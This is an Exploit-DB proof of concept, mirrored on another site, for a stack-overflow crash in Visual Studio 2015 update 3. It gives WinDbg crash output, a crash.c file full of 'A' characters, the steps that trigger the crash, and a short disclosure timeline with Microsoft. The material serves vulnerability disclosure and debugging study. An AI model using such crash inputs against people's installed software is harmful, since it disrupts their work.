Microsoft Visual Studio 2015 update 3 – Denial of Service

  • 作者: Peter Baris
    日期: 2017-03-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41734/
  • /*
    # Exploit Title: Microsoft Visual Studio 2015 update 3 – Stack overflow
    # Date: 2017-03-26
    # Exploit Author: Peter Baris
    # Vendor Homepage: http://www.saptech-erp.com.au
    # Software Link: https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
    # Version: Visual Studio 2015 update 3
    # Tested on: Windows 7 Pro SP1 x64, Windows 10 Pro x64
    
     
    
    Windbg output
    
     
    
    Crash 1:
    
     
    
    eax=1469f040 ebx=00000000 ecx=1469f040 edx=165f4634 esi=1469f040 edi=0036e2d8
    
    eip=16610c9d esp=00279000 ebp=0027900c iopl=0 nv up ei pl zr na pe nc
    
    cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010246
    
     
    
    VCProject!CVCNode::GetVCProject+0x49:
    
     
    
    16610c9d ff523ccalldword ptr [edx+3Ch]ds:002b:165f4670={VCProject!CVCNode::GetVCProject (16610c64)}
    
     
    
     
    
    0:000> !exchain
    
    0036e2dc: VCProject!memcmp+86f5 (166956e8)
    
    0036e30c: VCProject!memcmp+876b (166957b0)
    
    0036e384: msenv!_aulldiv+476d1 (31e3d818)
    
    0036e424: msenv!_aulldiv+1567e (31df2c66)
    
    0036e478: msenv!_aulldiv+65abf (31e6a010)
    
    0036e4c4: vcpkg!sqlite3_value_type+1f3a (3940ac50)
    
    0036e530: msenv!_aulldiv+2b169 (31e135dc)
    
    0036e578: msenv!_aulldiv+2bb07 (31e145ac)
    
    0036e5cc: msenv!_aulldiv+2b1de (31e136ca)
    
     
    
    0:000> k
    
    # ChildEBP RetAddr 
    
    00 0027900c 16610ca0 VCProject!CVCNode::GetVCProject+0x49
    
    01 00279020 16610ca0 VCProject!CVCNode::GetVCProject+0x53
    
    02 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53
    
    …
    
    ff 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53
    
     
    
     
    
     
    
    Crash 2:
    
     
    
    (10cc.1970): CLR exception - code e0434352 (first chance)
    
     
    
    (10cc.1970): Stack overflow - code c00000fd (first chance)
    
     
    
    eax=08675cf0 ebx=00000000 ecx=08675cf0 edx=39784634 esi=08675cf0 edi=0043e0f0
    
    eip=397a0c68 esp=00349000 ebp=00349004 iopl=0 nv up ei pl zr na pe nc
    
    cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010246
    
     
    
    VCProject!CVCNode::GetVCProject+0x4:
    
    397a0c68 57pushedi
    
     
    
    0:000> !exchain
    
    0043e0f4: VCProject!memcmp+86f5 (398256e8)
    
    0043e124: VCProject!memcmp+876b (398257b0)
    
    0043e19c: msenv!_aulldiv+476d1 (51e1d818)
    
    0043e23c: msenv!_aulldiv+1567e (51dd2c66)
    
    0043e290: msenv!_aulldiv+65abf (51e4a010)
    
    0043e2dc: vcpkg!sqlite3_value_type+1f3a (390bac50)
    
    0043e348: msenv!_aulldiv+2b169 (51df35dc)
    
    0043e390: msenv!_aulldiv+2bb07 (51df45ac)
    
    0043e3e4: msenv!_aulldiv+2b1de (51df36ca)
    
     
    
    15a0a15041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    15a0a15141 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    15a0a15241 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    15a0a15341 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    15a0a15441 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    15a0a15541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    15a0a15641 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    15a0a15741 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
     
    
     
    
    Peter
    
     
    
    crash.c
    */
    
    // Exploit Title : Microsoft Visual Studio 2015 update 3 – Stack overflow
    // Date : 2017 - 03 - 26
    // Exploit Author : Peter Baris
    // Vendor Homepage : http://www.saptech-erp.com.au
    // Software Link : https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
    // Version : 2015 update 3
    // Tested on : Windows 7 Pro SP1 x64, Windows 10 Pro x64
    
    // 2017-03-05 Reported to Microsoft
    // a few ignorant messages from microsoft, stating that this is not causing data loss
    // I have sent explanation about ctrl-s key combination
    // 2017-03-26 Publishing
    
    
    // Procedure to trigger the vulnerability
    // Open the c source file simply by double clicing it
    // In the properties windows change "Included In Project" to False -> click back to your source code's window
    
    #include <Windows.h>
    
    int main()
    {
    
    	printf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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    }